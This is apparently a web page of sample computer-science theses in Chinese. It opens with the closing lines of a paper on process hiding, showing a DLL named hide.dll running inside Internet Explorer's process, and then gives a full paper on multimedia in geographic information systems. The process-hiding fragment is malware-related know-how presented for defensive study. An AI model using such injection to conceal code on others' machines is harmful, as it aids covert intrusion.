C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。
5結束語
進程隱藏技術和方法有很多,而且這一技術發展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。
參考文獻
計算機畢業論文設計范文6
摘要將多媒體技術應用于地理信息系統中的關鍵問題是:如何有效地管理多媒體數據和空間數據;其次,在區域分析過程中,怎樣實現多媒體播放功能.指出用擴充的關系數據模型作為多媒體數據模型較適宜;多媒體功能的實現則取決于多媒體數據的格式是否為RIFF格式以及對多媒體數據的應用要求.最后展示了多媒體技術在地理信息系統中的應用前景.
關鍵詞多媒體技術,地理信息系統,空間數據,屬性數據,區域分析,數據模型.
現今由于多媒體技術的迅速崛起和高速發展,越來越多的應用軟件都大量使用了多媒體技術.如果將多媒體技術應用于地理信息系統(geographicinformationsystem,簡稱GIS)軟件中,勢必大大增強GIS信息的表現能力,擴大GIS的應用領域.那么怎樣將多媒體技術應用于GIS軟件中呢我們認為應從兩方面來設計:其一是怎樣將多媒體數據溶于GIS數據庫中,并保證提供GIS軟件的雙向檢索及各種分析功能;其二是在應用過程中,怎樣實現多媒體的播放功能.以下就這兩個內容及其應用前景談談我們的看法.
1多媒體數據的有效管理
通常,應用軟件中的多媒體數據有兩種生成方式:一種是媒體播放之前,將其數字化到數據庫當中,播放時從數據庫中取數據;另一種是播放時,邊生成邊播放.而GIS軟件中的數據庫又分為空間數據庫和屬性數據庫,即我們可根據媒體數據的特性或應用軟件的要求將多媒體數據分別溶于空間數據庫和屬性數據庫中.
1.1GIS數據庫中多媒體數據的管理
1.1.1GIS空間數據庫中多媒體數據的管理目前,多數GIS應用軟件所能描述的空間目標都是靜態的,實際上,很多GIS所要表達和研究的空間目標都不會是一成不變的,因此,GIS研究者已廣泛關注能對時空過程和時空目標進行描述和分析的時態GIS(temporalGIS).時態GIS的組織核心是時空數據庫,即設計一個合理的時空數據模型是建立時態GIS的關鍵所在.雖然目前還沒有較成熟的能支持時態GIS產品的時空數據模型,一但時空數據模型的研究有所突破,不僅能解決時態GIS的應用問題,還將解決空間數據庫中動畫數據的管理問題,即可通過使用動畫技術來實現在屏幕上動態播放時空過程.如動態顯示衛星云圖的變化情況、地殼變動情況、森林沙化和城市化情況以及海岸或河灘的侵蝕或淤積變化情況等.
有關時空數據模型,張祖勛[1]提出使用分級索引方法來對基本修正法進行改進.這種方法就是不存貯研究區域中每個狀態的全部信息,而只存貯某個時間的數據狀態(稱為基態)以及相對于基態或鄰近狀態的變化量.在此基礎上,建立分級索引,以便能快速找到所需的時空過程的數據.
要使用這種建索引的基本修正法,需要考慮兩個問題,一個是如何建立索引;另一個是如何設計用來描述兩個狀態變化量的差文件.
關于建索引的問題,筆者認為:基態,亦a,b,c,d分別表示時態GIS的4個時期;T.時間軸;t0,t1,…,tn分別表示時態在GIS某個時期的n+1個時態,其中tn為基態,即“現在”時態一次數據狀態——“現在”時態總是變化的,每產生一個新的現在時態,就應生成一個現在時態與前一次時態的差文件,同時根據現在時態所處的時間位置來決定是否產生新的索引差文件.以四叉樹為例,如圖1所示,當n為2i(i=2,3,…)的整數倍時,就需產生tn-2i~tn的索引差文件.相應地為了減少索引差文件所占的存貯空間,而又不影響對任一時態的檢索速度,可將tn-2i+1~tn-2i的索引差文件刪掉,所刪的索引名文件個數正好比新建的索引差文件個數少一個.
關于差文件,筆者認為在設計中應考慮如下幾個因素.(1)由于差文件是通過對兩個時態的目標信息進行異或而產生的,這意味著差文件包含有兩類目標信息:一類是前一時態有而后一時態無的目標信息;另一類是前一時態無而后一時態有的目標信息.為了能根據差文件快速、連續地由一個狀態到過去另一狀態或最近另一狀態進行檢索,應在差文件中將這兩類目標信息予以標識區分.(2)兩個狀態之間目標變化應是有對應關系的,即01(目標從無到有);10(目標從有到無);1N(目標從一個變成多個);N1(目標從多個變成一個),以及目標空間信息無變化,屬性信息有變化;目標局部空間信息有變化等.為了能進行快速檢索,在差文件中應將兩類各目標之間的對應關系予以標明,當然,這會增加差文件生成過程的復雜性.(3)和所有地圖數據庫模型類似,差文件也由空間信息、屬性信息和關系信息組成,差文件中應將每個目標這3種信息之間的關系予以標明.
1.1.2GIS屬性數據庫中多媒體數據的管理有些G
IS的應用中,認為多媒體數據是一種特殊的專題屬性數據.怎樣選擇多媒體數據的數據模型,使得既能遵循其自身特點,又能有效地建立起它與空間數據的聯系,是多媒體技術在GIS應用中的關鍵所在.
目前,多數GIS屬性數據庫使用的是關系模型.為能將關系模型應用于多媒體數據管理系統中,就必須對現有的關系模型進行擴充,使它不但能處理格式化數據,也能處理非格式化數據.楊學良[2]就這個問題提出了3種技術策略:將多媒體數據文件名作為關系中元組某列(或屬性);將每個元組作為一個完整文件保存;元組中存貯格式化數據以及非格式化數據的引用項,而非格式化數據單獨存貯.
對比這3種技術策略,第一種技術策略方法簡單、容易實現,適宜于對多媒體數據進行播放.第二、三種技術策略雖然能夠實現并發控制和恢復,以及實現對多媒體數據進行編輯和拮取的應用,但由于此兩種技術策略將每個元組所對應的空間目標的專業屬性和多媒體屬性混在一起,這既增大了應用程序設計的復雜性,又不利于那些只需使用空間目標的專業屬性的一些應用的實現.為此,我們認為,在第一種技術策略的基礎上,增加一個或多個屬性項,用于存放多媒體數據的文件信息和數據流信息,當我們需要對多媒體數據文件進行特殊應用時,可根據文件信息和數據流信息對多媒體數據文件進行操作.
1.2GIS區域分析中多媒體數據的生成
多媒體數據生成的另一種方式是在GIS應用中,邊統計、分析運算,邊生成結果數據——多媒體數據.
1.2.1空間分析中多媒體數據的生成空間分析是一組分析結果依賴于所分析對象的位置信息技術[3],因此,空間分析要求獲得目標的空間位置及其屬性描述兩方面信息.空間分析主要有:地形分析、疊加分析、緩沖區分析和網絡分析等.
為了能更清楚地表示上述一些空間分析的結果,我們可用虛擬現實技術來實現.所謂虛擬現實[4]是一種由計算機生成的高級人機交互系統,即構成一個以視覺感受為主,也包括聽覺、觸覺、嗅覺的可感知環境,使用者通過專門的設備可在這個環境中實現觀察、觸摸、操作、檢測等試驗,有身臨其境之感.比如,可用虛擬技術來觀察地形分析或網絡分析得到的空間效果,使用者可用交互操作的方式來控制自己與觀察對象的角度、距離以及光照等,使觀察對象隨使用者的操作而動態旋轉.此時以動畫形式顯示的媒體數據隨使用者的操作產生并顯示.
1.2.2統計分析中多媒體數據的生成統計分析就是用數理統計方法開展區域分析.數理統計方法主要有:統計特征值、研究兩種或多種地理現象之間的相關分析,通過一組實際觀測數據分析系統變量之間因果關系的回歸分析,以及主成分分析等.
為了更加形象化,我們可以將數理統計結果以直方圖、曲線、曲面或區劃圖表示,甚至可以將重要的部分以醒目的顏色、特殊的符號或閃爍的顯示形式來告訴使用者,還可以配上解說詞,以增加系統的感染力,而表現這些現象的媒體數據是在統計分析之后由系統自動生成并播放的.
2GIS應用系統中多媒體功能的實現
在GIS應用軟件中進行多媒體功能實現,首先是受GIS應用軟件自身開發平臺的限制.多數情況下,GIS應用軟件的多媒體開發平臺宜選擇編程語言,如VC++,VB或BC++等,以利于和GIS應用軟件相結合.一旦多媒體開發環境確定下來,那么怎樣實現區域分析中多媒體功能
2.1空間數據庫中多媒體數據的播放
由前所述,空間數據庫中存貯的多是各期間的時空數據,這些數據的結構與MCI所能接受的多媒體文件格式RIFF(resourceinterchangefileformat)不同,所以應用程序不能直接調用MCI函數和API函數,必須根據時態GIS的空間數據庫結構,設計一個相應的動畫播放程序來實現動態顯示功能.
下面簡述動態顯示時態GIS中ti~tj狀態的算法步驟(0≤i≤j≤n,其中n為現在時態).(1)由基態開始檢索各索引差文件直到生成ti狀態信息.(2)顯示ti狀態信息.(3)根據ti差文件,擦除ti狀態有而ti+1狀態無的信息,顯示ti狀態無而ti+1狀態有的信息.(4)i+1i.(5)當i<j時,轉(3);否則結束.
字4
如果用上述算法來實現動態顯示時空過程,還有很多細節需要設計.首先,在(1)步驟,從基態開始,逐級逐步檢索,每檢索到一個狀態差文件,就需根據差文件來生成該狀態信息,直到ti狀態處;其次,在(3)中,需要用到動畫技術,擦除前一狀態信息實質為恢復該處顯示內容,而顯示后一狀態信息之前,需保存后一處信息內容,再予以顯示新狀態信息.
性數據庫中多媒體數據的應用
一般來說,多媒體數據主要應用于兩個方面:一個是簡單播放;另一個是對多媒體數據進行編輯和拮取.對于前者,只要使用MCI函數或API函數按屬性數據庫中其他屬性的要求進行播放;對于后者,這就要求程序員熟悉多媒體數據文件格式RIFF,根據多媒體數據的文件信息和數據流信息,通過調用多媒體文件輸入/輸出函數來實現多媒體的播放、編輯、拮取以及同步控制等操作.
3多媒體技術在GIS中的應用前景
(1)實現資源信息的科學管理,提供信息服務.GIS一改為用戶管理提供單一的圖表、數據信息形式,而在管理空間信息的同時,對圖形、圖象、視頻、聲音、動畫等形式的信息進行管理和播放,大大增加了信息的表現能力.(2)家庭教育和個人娛樂.將多媒體和GIS溶于一身,會豐富教育、娛樂軟件的內容及表現手段.比如有關地理、歷史等課程的教學軟件和娛樂軟件的設計.(3)銷售和演示信息系統.GIS和多媒體技術合為一體的這類系統會比以往的信息系統更具有表現力.比如房地產公司的銷售系統,既能表明所售住房的空間位置,又能從中檢索其住房環境及內部結構,而且可以動態地刪去當天已售出的房子,給出不同價格等;旅游導游系統,可以在為觀光游客制定導游路線時,就能對不同地方的景點產生身臨其境的感覺.總之,將多媒體技術和GIS技術相結合,是計算機應用領域的一個發展方向,它會改變人們的工作、生活、思維方式,推動信息社會的前進.
參考文獻
1張祖勛.時態GIS數據結構的研討.測繪通報,1996,(1):19~21
2楊學良.多媒體計算機技術及其應用.北京:電子工業出版社,1995.138~139